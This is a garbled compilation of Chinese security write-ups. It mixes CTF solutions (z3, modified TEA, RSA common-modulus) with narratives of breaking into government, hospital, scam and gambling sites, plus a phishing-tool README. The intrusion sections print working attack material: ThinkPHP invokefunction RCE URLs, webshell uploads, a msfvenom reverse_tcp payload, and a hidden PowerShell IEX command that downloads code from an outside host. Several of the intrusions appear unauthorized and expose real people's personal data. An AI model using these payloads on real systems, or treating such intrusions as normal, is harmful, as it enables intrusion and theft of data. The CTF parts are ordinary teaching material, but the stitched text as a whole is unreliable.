v[9] - 2 * v[12] - 2 * v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -760 and (((-13 * v[0] + 5 * v[1] + 2 * v[2] - v[3]) + v[4] - v[5] - 3 * v[6]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14] - 2 * v[17] == -1270 and (((((-22 * v[0] + 8 * v[1] + 3 * v[2] - 4 * v[3]) + 2 * v[4] + v[5] - 2 * v[6] - v[7]) + v[8] - v[9] - v[10]) + v[11] + v[12] - v[13] - v[14] - v[15]) + v[16] + v[17] - v[18]) + v[19] - v[20] == -1494 and ((((-2 * v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] == -528 and ((((-21 * v[0] + 8 * v[1] + 4 * v[2] - 2 * v[3]) + 2 * v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[16]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1853 and ((((-14 * v[0] + 5 * v[1] - v[3]) + 3 * v[4] - 2 * v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - v[11] - 2 * v[12]) + 2 * v[20] == -913 and ((((-20 * v[0] + 7 * v[1] + 3 * v[2] - 2 * v[3]) + 2 * v[4] - 3 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + 2 * v[13] - 2 * v[19]) + 2 * v[20] == -1310 and (((-11 * v[0] + 4 * v[1] + v[2] - v[3]) + v[4] - v[5] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - 2 * v[15] - 2 * v[16] - 2 * v[19] == -1576 and (((((-21 * v[0] + 8 * v[1] + 3 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1830 and ((((-27 * v[0] + 9 * v[1] + 5 * v[2] - 4 * v[3]) + v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - 3 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - v[15] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -2692 and (((-17 * v[0] + 7 * v[1] - 2 * v[3]) + 3 * v[4] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - 2 * v[19] == -1519 and ((((-25 * v[0] + 9 * v[1] + 3 * v[2] - 3 * v[3]) + 3 * v[4] - 4 * v[6] - v[7]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + 2 * v[18] == -1937 and (((((-24 * v[0] + 9 * v[1] + 4 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - 2 * v[19]) + 2 * v[20] == -2078 and (((((-8 * v[0] + 3 * v[1] + v[2] + 2 * v[4] - v[5] - 2 * v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + 2 * v[20] == -654:
       u = 1
   vs = bytes2ints(flag[21:-5])
   keys = bytes2ints(v[:16])
   res = []
   for i in range(len(vs) // 2):
       pt = vs[2 * i:2 * i + 2]
       v0, v1 = enc(len(flag), pt, keys)
       res.extend([v0, v1])
   else:
       res = list(ints2bytes(res))
       res.extend(list(encode(flag[-5:].decode())))
       check = [86, 2, 249, 121, 139, 89, 236, 10, 233, 193, 135, 89, 22, 235, 221, 127, 52, 113, 82, 87, 79, 72, 111, 65, 61]
       for r, c in zip(res, check):
           if r ^ c:
               z = 0
               break
       else:
           if z & u:
               print("Congratulations! You've got the flag!")
           else:
               print('Nope, try again!')

3、分析步骤,flag分成了三段:

第一段可以用z3求解

第二段为魔改tea,key为第一段前16字节

第三段为换标base64

4、分段求解即可

from ctypes import c_uint32
import base64
'''

from z3 import *

v = [ Int(f'v[{i}]') for i in range(21)]
s = Solver()

s.add(((((((-v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + v[20] == -321 )
s.add(((((((-v[0] + v[1] - v[2]) + v[3] - v[4] - v[5] - v[6] - v[7]) + v[8] + v[9] + v[10] - v[11]) + v[12] - v[13]) + v[14] - v[15] - v[16]) + v[17] - v[18] - v[19]) + v[20] == -265 )
s.add(((-2 * v[0] + v[1] + 2 * v[3] + 2 * v[4] - 2 * v[5]) + 2 * v[7] + 2 * v[9] - 2 * v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[15] - 2 * v[16]) + 2 * v[18] == -144 )
s.add(((-3 * v[0] + 2 * v[1] - v[2]) + 2 * v[4] - 2 * v[5]) + 2 * v[9] - 2 * v[11] - 2 * v[14] - 2 * v[16] - 2 * v[17] - 2 * v[19] == -637 )
s.add(((((((-2 * v[0] + v[1] - v[2]) + v[3] + 2 * v[4] - 2 * v[6]) + 2 * v[7] - 2 * v[8]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -158 )
s.add((((-6 * v[0] + 3 * v[1] - v[2]) + 2 * v[4] - 2 * v[6] - 2 * v[12]) + 2 * v[13] - 2 * v[16] - 2 * v[17]) + 2 * v[18] == -449 )
s.add((((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[7] - 2 * v[8] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] - 2 * v[17]) + 2 * v[20] == -778 )
s.add(((-6 * v[0] + 3 * v[1] + v[4] - v[5] - 2 * v[6]) + 2 * v[9] - 2 * v[12] - 2 * v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -760 )
s.add((((-13 * v[0] + 5 * v[1] + 2 * v[2] - v[3]) + v[4] - v[5] - 3 * v[6]) + 2 * v[9] - 2 * v[11] - 2 * v[12]) + 2 * v[13] - 2 * v[14] - 2 * v[17] == -1270 )
s.add((((((-22 * v[0] + 8 * v[1] + 3 * v[2] - 4 * v[3]) + 2 * v[4] + v[5] - 2 * v[6] - v[7]) + v[8] - v[9] - v[10]) + v[11] + v[12] - v[13] - v[14] - v[15]) + v[16] + v[17] - v[18]) + v[19] - v[20] == -1494 )
s.add(((((-2 * v[0] + v[1] - v[2]) + v[3] + v[4] - v[5] - v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - 2 * v[11]) + 2 * v[13] - 2 * v[14] - 2 * v[15] == -528 )
s.add(((((-21 * v[0] + 8 * v[1] + 4 * v[2] - 2 * v[3]) + 2 * v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - v[10] - 2 * v[11] - 2 * v[12] - 2 * v[14] - 2 * v[16]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1853 )
s.add(((((-14 * v[0] + 5 * v[1] - v[3]) + 3 * v[4] - 2 * v[6]) + v[7] - v[8]) + v[9] - 2 * v[10] - v[11] - 2 * v[12]) + 2 * v[20] == -913 )
s.add(((((-20 * v[0] + 7 * v[1] + 3 * v[2] - 2 * v[3]) + 2 * v[4] - 3 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + 2 * v[13] - 2 * v[19]) + 2 * v[20] == -1310 )
s.add((((-11 * v[0] + 4 * v[1] + v[2] - v[3]) + v[4] - v[5] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - 2 * v[15] - 2 * v[16] - 2 * v[19] == -1576 )
s.add((((((-21 * v[0] + 8 * v[1] + 3 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - 2 * v[17]) + 2 * v[18] - 2 * v[19]) + 2 * v[20] == -1830 )
s.add(((((-27 * v[0] + 9 * v[1] + 5 * v[2] - 4 * v[3]) + v[4] - v[5] - 4 * v[6] - v[7]) + v[9] - 3 * v[10] - v[11] - v[12]) + v[13] - 2 * v[14] - v[15] - 2 * v[17]) + 2 * v[18] - 2 * v[19] == -2692 )
s.add((((-17 * v[0] + 7 * v[1] - 2 * v[3]) + 3 * v[4] - 2 * v[6] - v[8]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - 2 * v[19] == -1519 )
s.add(((((-25 * v[0] + 9 * v[1] + 3 * v[2] - 3 * v[3]) + 3 * v[4] - 4 * v[6] - v[7]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + 2 * v[18] == -1937 )
s.add((((((-24 * v[0] + 9 * v[1] + 4 * v[2] - 3 * v[3]) + v[4] - v[5] - 4 * v[6]) + v[9] - 2 * v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - 2 * v[19]) + 2 * v[20] == -2078 )
s.add((((((-8 * v[0] + 3 * v[1] + v[2] + 2 * v[4] - v[5] - 2 * v[6]) + v[7] - v[8]) + v[9] - v[10] - v[11] - v[12]) + v[13] - v[14] - v[15] - v[16] - v[17]) + v[18] - v[19]) + 2 * v[20] == -654)

print(s.check())
m=s.model()
print(m)
'''
v=[0]*21
v[6] = 99
v[16] = 49
v[3] = 103
v[0] = 102
v[13] = 45
v[5] = 99
v[12] = 48
v[4] = 123
v[10] = 48
v[1] = 108
v[7] = 102
v[8] = 101
v[2] = 97
v[15] = 54
v[11] = 54
v[9] = 52
v[18] = 45
v[20] = 50
v[14] = 97
v[19] = 52
v[17] = 49

v=bytes(v)
print(v)
flag1=v
def ints2bytes(v = None):
   n = len(v)
   res = b''
   for i in range(n // 2):
       res += int.to_bytes(v[2 * i], 4, 'little')
       res += int.to_bytes(v[2 * i + 1], 4, 'little')
   return res


def bytes2ints(cs = None):
   new_length = len(cs) + (8 - len(cs) % 8) % 8
   barray = cs.ljust(new_length, b'\x00')
   i = 0
   v = []
   while  i  < new_length:
       v0 = int.from_bytes(barray[i:i + 4], 'little')
       v1 = int.from_bytes(barray[i + 4:i + 8], 'little')
       v.append(v0)
       v.append(v1)
       i += 8
       continue

   return v

keys = bytes2ints(v[:16])
#print(keys)


c = [86,2,249,121,139,89,236,10,233,193,135,89,22,235,221,127,52,113,82,87,79,72,111,65,61]
flag3=bytes(c[-9:])
print(flag3)
c = c[:-9]
#print(c)
c = bytes2ints(bytes(c))
#print(c)


def enc(v = None, key = None):
   magic = 0xDEADBEEF
   l = c_uint32(v[0])
   r = c_uint32(v[1])
   total = c_uint32(0)
   for _ in range(42):
       l.value -= ((r.value << 4) - (r.value >> 6)) + (key[total.value & 3] << 2) ^ key[r.value << 3 & 3]
       total.value -= magic
       r.value += ((l.value << 5) + (l.value << 4) ^ key[total.value & 3] >> 2) + key[l.value & 3]
   return (l.value, r.value)


def dec(v = None, key = None):
   magic = 0xDEADBEEF
   l = c_uint32(v[0])
   r = c_uint32(v[1])
   total = c_uint32(0)
   for _ in range(42):
       total.value -= magic
   for _ in range(42):
       r.value -= ((l.value << 5) + (l.value << 4) ^ key[total.value & 3] >> 2) + key[l.value & 3]      
       total.value += magic
       l.value += ((r.value << 4) - (r.value >> 6)) + (key[total.value & 3] << 2) ^ key[r.value << 3 & 3]
       
   return (l.value, r.value)

flag2=[]
for i in range(2):
v0,v1 = dec(c[2 * i:2 * i + 2],keys)
flag2.extend([v0, v1])
flag2=ints2bytes(flag2)
print(flag2)

a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'    #标准表
b = 'ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz'   #新表
flag3=flag3.decode()
trantab = flag3.maketrans(b, a)
flag3 = base64.b64decode(flag3.translate(trantab))
print(flag3)

flag=flag1 + flag2+ flag3
print(flag)

5、运行得到flag

wyslu4n2oee15214.png

flag{ccfe4060-a611-42d7-8265-32f75cb8cdb8}

MISC-timu

观察一下发现是sql盲注流量,成功时长度为437,SQL注入流量分析

ciexu23kufh15215.png

5gubkxwblcf15223.png

http.content_length == 437筛选一下导出文本

knusuovqxpq15226.png


msylr510rkd15232.png

写个脚本提取一下flag

import re

number = []
with open("flag.txt","r",encoding="utf-8") as f:
   for i in f.readlines():
       flag_number = re.search('\)\)=(.+?)--',i)
       if flag_number:
           print(chr(int(flag_number.group(1)[::])),end='')

MISC-babymisc

拿到手两个视频,发现key.mp4损坏

3l5e4jqvcw115236.png
使用digital  Video repair对MP4进行修复jhpwmb5j3k015247.png

照着help.mp4修改文件头之后打开成功,得到密码

0kksml3n4dv15262.jpg得到CODE压缩包密码:kfckfckfcdddd

拿到文件后发现KFC.png是一个文件头被修改的压缩包,改成504B0304再使用winrar自带的修复功能修一下即可正常打开

il04qcfg44p15265.pngyrikcyd3w2k15270.pngp3e0yqymhmx15274.png

另外三个文本根据文件名的提示依次用8421BCD编码,余3码和5121BCD编码对二进制进行解码,再将得到的三串数字加起来即可得到KFC.zip的密码

zpr1xv204py15293.png

8421:9520131412399
余3: 159258489321
5121:147258

解压密码:9679390048978

又得到了三个文件,根据内容了解是gpg加密。

lx0kj0aolvy15297.png

key.txt里的内容

jcI4=S$;@oRcTT_jfYEB]Y3Eh]]Y`Zka7.ePD8:aRHT1"jeSg:J?S(;UunS-k^]VqZ%h>RK]TD<ja`NVJ?S'qKBK5Bk,3jqLof^.YiW+%k*:Y_R'5VJU?JYfjM.taR=OFo[H3=;je\^5OGW(bS`[P<k*V1jOc\_2RHVD_kIeLiWJ9N2U?S,VkF81+^TlpQM<VUaje\^9JZe4OVW>IEkbtrQT;CV_K]nbajM.t`K>$?[K]]qJk+]9HWOCr>YNV=Dk^^,'V5!(AYiV^UkeF"VPD84VJ,

base85解密之后可以得到佛曰加密的文本

fskpvhl0i5w15306.png

把开头的吾换成佛之后即可成功解密,得到gpg密码

https://www.keyfc.net/bbs/tools/tudoucode.aspx

cy5pkxssfxc15314.png

得到gpg密码:KFCcrazyThursdayVme50

然后就是使用gnupg导入私钥,这里输入密码:KFCcrazyThursdayVme50

odvpn5fadtm15333.pngvnjmoik3y3b15335.png

使用gpg  --decrypt  enc ,并输入密码,j解码得到flag

icpgbhuobx015347.png


crypto-ezRSA

共模不互素RSA解码脚本:


from gmpy2 import gcdext, iroot

from Crypto.Util.number import long_to_bytes


n=15334568944937927007999900484465008933318606732373890322662758402635604904264667848527624432918429375075528808825616270959632486002311971836554591848781563095705366553616002512404398788966973097823043515475930194538283976927496112772470447937619132674710993584070843393450092524523160279299624451370719909878959576969398084280115463732579954724508652349756110176703496308636810989451987779509636118628086540986338888325501247197248272357069233416661506310524030484892275300358493956190791539925164498005723797931221417357134562381130881466267058989667933251564895613135627072396134981492993661899429352449683777587209

e1=27

c1=12986025840528664605029703071663558675501785717478309954653498440612589963048159389429665580606645713091596074128667194086739183824746224776044505827397154734845975260817293507509629880984219447666390126778735042575927584431041809412129358169629481686396038656480335466512102391890656372814903856027069054914435182728702353752096261176489806655455180097921073991840434590847811340528129253635512407064432360667518609177665325443979726996323560146227981931306518381574311791478479870050796181080300960066337033348776336649326992736515374354805162513674023608490939211117916740904072712484071608280826638537071430473813

e2=39

c2=6565386561126377566205122052098859256761850660695107175286649909808306124644179105628309902060507618319280856871171458108016540215224251721808589269898666208382953255344110718521884982317209269392886709868323886328303134746004772279271980557082263084385403484745749464251594821997308103907619284485485066324857517197751975558892533102067555683357635646156697977091058441721633786527229804348932128713515500689116444655902831314054143308572380052547505012526648205677796482004437411380302150565229313601140113069775555419804631455611599060297651400855376162690324232629639053723597992360016809065382185021672739721475

g,x,y=gcdext(e1,e2)

m=pow(c1,x,n)*pow(c2,y,n)%n

m=iroot(m,3)[0]

print(long_to_bytes(m))

kzhtlz135qe15357.png

题目附件内容:链接:https://pan.baidu.com/s/1_kP1FmyA5xi3Qy24xW-_rQ   提取码:7ggd



来自为知笔记(Wiz)

0x00 前言

刚结束某地HVV,小程序作为低成本易用的信息化系统,成为HVV新型重点突破对象。以下案例均来自于小程序,供大家学习。

0x01 案例一 某政务系统

1.弱口令进入后台

点击小程序,进入公民办事,抓到小程序域名,访问直接是管理员后台,如下页面即为Fastadmin框架 。

image-20230804233808809

一直有个坑,登录一直显示口令无效,在我要放弃的时候,点击返回上一步提醒我,您已登录,我纳闷了,发现该系统登陆操作后token会刷新,导致下一次登录必须使用上一次token,否则口令无效。因此应该是网络或系统本身有延时,导致未成功使用正确token进行登陆操作,当发现这个问题的时候我已经admin/123456登进了后台。

image-20230804233928487

内包含数据近20000条公民信息,以及管理员账户几百个,且所有管理员账户中的账户名密码均为admin/123456。与地级市HVV | 未授权访问合集中的案例四系统情况类似。(码死)

image-20230804234620409

2.到处都是SQL注入

前台业务处如下包,debug没有关导致爆出来数据库账户名密码,这个SQL注入太明显了,但此时我处在数据库账密的喜悦中没有搞SQL注入,可是这个数据库不对外,只能本地连接,烦死了。

image-20230804234900245

image-20230804235223957

后台查看管理员的时候存在延时注入

image-20230804235333429

image-20230804235520250

3.命令执行拿下服务器和数据库

既然是fastadmin,那有很多拿shell的方法,这次是用在线命令插件漏洞写入PHP Webshell,该漏洞只在1.1.0可用。

但是这个系统是二开的,根本找不到插件的地方,在网上搜罗了一下拼接找到插件页面。

目录为:/addon?ref=addtabs

那该插件的目录就应该是/addon/command?ref=addtabs,但是显示该页面不存在,我以为路由没设置,把这个禁了,直到队友在一个文章发现直接command即可访问该插件,即目录为/command?ref=addtabs

image-20230805000548485

点击一键生成API文档,文件为php,标题写为木马内容即可,测试只有冰蝎马可以,以前有类似案例。

image-20230805000747580

连接木马成功

image-20230805000951036

通过传大马中的nc提权,反弹shell到云服务器拿到root权限。

image-20230805001343057

大马执行sql语句会报错,乱码,很烦。

数据库账户密码我还记着呢,我通过自己写一个sql执行页面的php文件来连接数据库。证明我拿下数据库权限。

image-20230805001445813

代码如下:


<html>
<head>
    <title>执行MySQL语句</title>
</head>
<body>
    <h1>执行MySQL语句</h1>

    <form method="POST" action="">
        <textarea name="sql_statement" rows="5" cols="50" placeholder="请输入MySQL语句"></textarea>
        <br>
        <input type="submit" value="执行">
    </form>

    <?php
    // 检查是否提交了表单
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // 获取用户输入的MySQL语句
        $sql_statement = $_POST['sql_statement'];

        // 连接MySQL数据库
        $host = 'localhost';
        $username = '';
        $password = '';
        $database = '';

        $connection = mysqli_connect($host, $username, $password, $database);

        // 执行MySQL查询
        $result = mysqli_query($connection, $sql_statement);

        // 检查查询结果
        if ($result) {
            // 回显查询结果
            echo '<h2>查询结果:</h2>';
            while ($row = mysqli_fetch_assoc($result)) {
                echo '';
                print_r($row);
                echo '';
            }
        } else {
            // 显示错误消息
            echo '<h2>错误:</h2>';
            echo '<p>' . mysqli_error($connection) . '</p>';
        }

        // 关闭数据库连接
        mysqli_close($connection);
    }
    ?>

</body>
</html>

0x02 案例二 某县医院数据库

1.SQL注入拿下DBA

该医院的SQL注入处于公众号挂号处,当我登录进去点击挂号记录,抓到一个带病人id的包。

image-20230805001938526

加了个单引号,出现报错order by

image-20230805002523985

直接SQLmap跑发现跑不出来,但注入确实存在。发现asp.net框架,说明对方系统为windows。

image-20230805002955771

分别指定数据库MySQL,Oracle,MSSQL。终于在MSSQL时跑出注入,且为DBA权限。

image-20230805003357942

想到xp_cmdshell可以执行命令,但可惜这是HIS,人家做了防护,我无论怎么设置都无法执行命令,放弃换目标。

0x03 案例三 某中学访客系统

1.未授权+信息泄露

打开小程序抓包,直接抓到了所有被访人的信息,一个接口未授权访问。

image-20230805003829804

还没登录就这样,登进去还了得。

登进去并添加了一个访问申请image-20230805004820411

在查看自己的访问申请记录时抓包

image-20230805004432163

抓到如下链接:app/visitor/getVisitorInfo?viId=1,遍历可得到访客信息几百条,以及访客记录等。认定为平行越权,最后发现甚至是未授权访问,没有权限验证。

image-20230805004401655

0x04 案例四 我打偏了

这个案例比较好笑,是我在搜小程序,它弹出了差一个字的小程序,没仔细看就开始打,也是一个县医院。

这应该是疫情期间专门为核酸检测预约做的小程序。

1.平行越权+信息泄露

image-20230805005119179

登录的时候如果身份证姓名不匹配是无法通过验证的,说明里面的身份证信息都是真实的,登进来的习惯性找带用户id的功能,点击就诊人列表抓包。

image-20230805005822924

查到了自己的手机,身份证,名字,性别

image-20230805010022930

修改id可以查看其他人的信息,共计十几万条,妥妥的平行越权。

2.平行越权的SQL注入

习惯性加个单引号,直接报错,页面显示SQL错误,这不是对应上了嘛,edu-SQL注入案例分享最后一条总结,平行越权大概率存在SQL注入。但是我这打歪了,没有授权,就打住放弃了,后续移交平台整改。

image-20230805010332476



原文链接:   https://forum.butian.net/share/2400

AVvXsEgN6oeE9rga5xXPKNgSN6e9139yGVGjUywM

小偷浣熊是一种用于教育目的的工具,旨在证明如何在各种操作系统上进行网络钓鱼攻击。该工具旨在提高人们对网络安全威胁的认识,并帮助用户了解2FA和密码管理等安全措施的重要性。

功能

Windows 10,Windows 11,Windows XP,Windows Server,Ubuntu,Ubuntu Server和MacOS的网络钓鱼模拟。捕获用于教育演示的用户凭据。可自定义的登录屏幕模仿真实操作系统。全屏模式以增强网络钓鱼模拟。

安装

先决条件

Python 3.x Pip(Python包装安装程序)NGrok(用于将本地服务器暴露到Internet)

下载并安装

克隆repository:

安装python venv````bash apt安装python3.11-venv

创建VENV:

安装所需的库:

用法运行主脚本:````bash python app.py

在运行脚本后,选择网络钓鱼模拟的操作系统:您将提供一个菜单以选择操作系统。输入与您要模拟的操作系统相对应的数字。

访问网络钓鱼Page:如果您在同一本地网络(LAN)上,请打开Web浏览器并导航至3http://127.0.0.0.1:5000。

如果您想通过Internet访问网络钓鱼页面,请使用Ngrok。

使用Ngrok

从Ngrok.com下载并安装NGrok下载NGrok,并按照操作系统的安装说明进行下载。

在运行上述命令后,将本地服务器公开到Internet:获取公共URL:NGrok将为您提供公共URL。与您的测试对象共享此URL,以通过Internet访问网络钓鱼页面。

如何在Linux上安装NGrok?通过APT安装NGROK,具有以下命令:````bash curl -s https://ngrok -agent.s3.amazonaws.com/ngrok.asc.asc \ | | sudo tee/etc/apt/trusted.gpg.d/ngrok.asc.asc/dev/null \ echo'deb 3https://ngrok-agent.s3.amazonaws.com buster buster main \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ sudo apt update \ sudo apt apt install ngrok

运行以下命令将您的authtoken添加到默认的ngrok.yml

朋友突然告诉我,某转买手机被骗了1200块钱,心理一惊,果然不出所料,那我来试试吧。

图片


要来了诈骗网站地址,打开是这种:图片
果断收集一下信息:(由于留言骗子返还朋友钱款,暂时给他留点面子,打点马赛克)
图片查看端口,一猜就是宝塔面板搭建图片开着80,那就访问一下:图片从官网查找客服软件的教程。发现后台路径为:/admin图片直接访问果然发现:图片想也没想,直接admin:123456,没想到的是进去了哈哈哈:图片下一步当然是getshell,找了一圈发现直接可编辑语言配置文件:图片这里使用简单的一句话还给我封了ip丫的,看了一眼竟然用云盾,这骗子还有点安全意识,那只好祭出我的哥斯拉杀器(直接带bypass function的,也好用对不):图片好家伙,禁用的函数如此之多,那行吧,绕过呗图片文件管理时发现限制目录读取:

图片

直接使用哥斯拉的目录访问绕过:

图片

最后目录浏览时发现php存在多个版本,本人php5提权不太熟悉(哥斯拉不适用哈哈),看见php7后果断找其他站点:图片访问其他站点都能访问,解析ip都是这个,终于发现一个php7的

图片


终于发现一个php7的,但是linux版本内核很新啊,看来提权是个麻烦

图片

而后不出所料,哥斯拉的函数绕过可执行命令:图片执行后直接获取低权限shell:

图片

是www用户,权限很低。
在目录下还发现了一个杀猪盘工具:框框

图片

可以一键生成诈骗详情链接:
图片

(现在大家知道不要相信qq微信交易的重要性了吧,这种杀猪盘很容易坑人)

最后根据收集到的数据库链接等信息准备进数据库里看一眼,哥斯拉的链接有问题:

图片

于是搭建frp到骗子服务器访问:

图片


信息:图片图片

图片



由于www用户无法写入mysql目录.so文件,无法使用mysql提权。
sudo一直要使用www密码,结果也是无法使用sudo。
有suid位的命令如表,
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/grub2-set-bootflag
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/lib/polkit-1/polkit-agent-helper-1
最后使用CVE-2018-18955
https://www.freebuf.com/news/197122.html
图片最后已将整理完的信息提交朋友和警方,就没再深入。



本文转载自于原文链接:https://xz.aliyun.com/t/9200
https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486388&idx=1&sn=cfc74ce3900b5ae89478bab819ede626&chksm=ce67a12df910283b8bc136f46ebd1d8ea59fcce80bce216bdf075481578c479fefa58973d7cb&scene=21#wechat_redirect

无意间发现一个thinkphp的菠菜站,最近tp不是刚好有个漏洞吗?

然后就顺手测试了一下,但过程并不太顺利,不过最后还是拿下了,所以特发此文分享下思路。

0x00 一键getshell

简单看了下,应该有不少人玩吧?


ewax4yxhrpi12878.png

正好前几天写了个测试工具,先掏出来测试一发。

工具显示存在漏洞

kbyt2uitzc012879.png

一键getshell,看起来很顺利的样子,哈哈。

kbi5o5t4mss12880.png

但是...小明甩了下头发,发现事情并不简单。

c0omtsa0dzs12881.png

菜刀连接的时候,返回500错误。

xqrljowkjnj12882.png

我们用火狐的hackbar验证下,没毛病啊,那为什么菜刀连接不上呢?

作为菜逼的我不禁陷入了沉思...

3vgbe12kxk212883.png

0x01 开始分析

因为这个工具我自己写的,从上面getshell的图片中发现调用的是第三个exp,那么我们来分析下看看。

poc如下

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

我们在poc后面输入whoami看看权限。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

iis权限

但是可以执行部分命令,比如echo dir等等。


wfav5dossdw12884.png

0x02 尝试突破拿shell

既然可以执行echo 那么我们可以来尝试写入个小马试试,如果成功的话,再利用小马上传大马,说干就干,苦活来了,我们得一行一行写入进去。

注意:代码中的<>符号,要用^^转义。比如<?php转义为^<^?php

rzla55y042j12885.png

逐行写入完成后,访问的时候发现并不能正常运行,这里忘记截图了。。

接下来尝试用以下方法下载文件到服务器上也失败了。

deuaak4s3dg12886.png

正当我打算放弃的时候,我想起来还有个下载的命令没用。

那就是certutil.exe

说干就干,把大马放到我们服务器上,开启HFS。

然后执行以下命令。

0bhu00byhmz12887.png

成功进入大马,不过别高兴太早。

y1jpypfpbrk12888.png

小明再次甩了下头发,发现事情更不简单....

jmr0my5itg212889.png

大马可以操作文件上传改名等等,但是无法编辑文件,无法查看文件源码等等,点开显示一片空白。

na1o2kvdisf12890.png

既然这样,那么我们进数据库看看吧。

我们都知道tp的数据库配置文件在以下这个位置

/application/database.php

大马是无法打开了,那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php

尝试type读取失败,然后又想到copy命令。

把database.php拷贝到web根目录下,改名为1.txt

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt

拷贝完成以后访问url/1.txt,发现里面是空的。


0x03 成功突破

经历了一系列的失败后,我冷静下来想了下,我们还可以用file_path去读取源码试试。

vmffebwqijj12891.png

用大马上传这个文件到根目录下,然后访问,成功拿到数据库配置信息。

acwotiu3nkb12892.png

然后填写好配置信息,进入数据库。

cpkry1oenud12893.pngpqwvramkm2q12894.png

此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉....



转载于原文链接:https://www.jianshu.com/p/1f9b02780f1c



0x00 前言

闲着无聊,网上随便找了一个菠菜进行简单测试,并做笔记记录,大佬们轻喷,有什么不足之处请指教。

0x01 弱口令

访问网站就是一个登录页面,没有验证码直接bp开启,成功爆出弱口令admin/123456,直接进入后台。

图片


0x02  注入拿下权限

看了很多功能点,在一处功能点发现上传接口,并尝试上传文件,发现无法上传,加了白名单。直接选择放弃,继续寻找。在某一个http://url/GroupMember.aspx?gid= 参数上加上单引号,直接报错,SQL注入这不就来了么。

图片

说干就干,直接SQLMAP。

图片

发现为MSSQL,且DBA权限,直接--os-shell

图片

上线MSF
已经获取普通权限,接下来就是上线msf提权。msf生成powershell脚本,并放置在网站目录下。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8888 -f psh-reflection >xx.ps1

图片

Vps开启监听

图片

使用powershell上线session
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/xx.ps1'))"

图片

如果想要通过url拼接堆叠执行powershell会存在一个问题,就是单引号闭合问题。我们可以通过对powershell进行编码一下,这样就可以绕过单引号的问题。下面推荐一个不错的网站。
https://r0yanx.com/tools/java_exec_encode/提权
session已经上线,接下来目标就是获取system权限。很幸运直接getsystem可以获取system权限。如果需要提权推荐土豆家族提权,实战中成功率很高,影响的服务器版本也很多。

图片

迁移一下进程,防止进程掉线。

图片

远程登录服务器
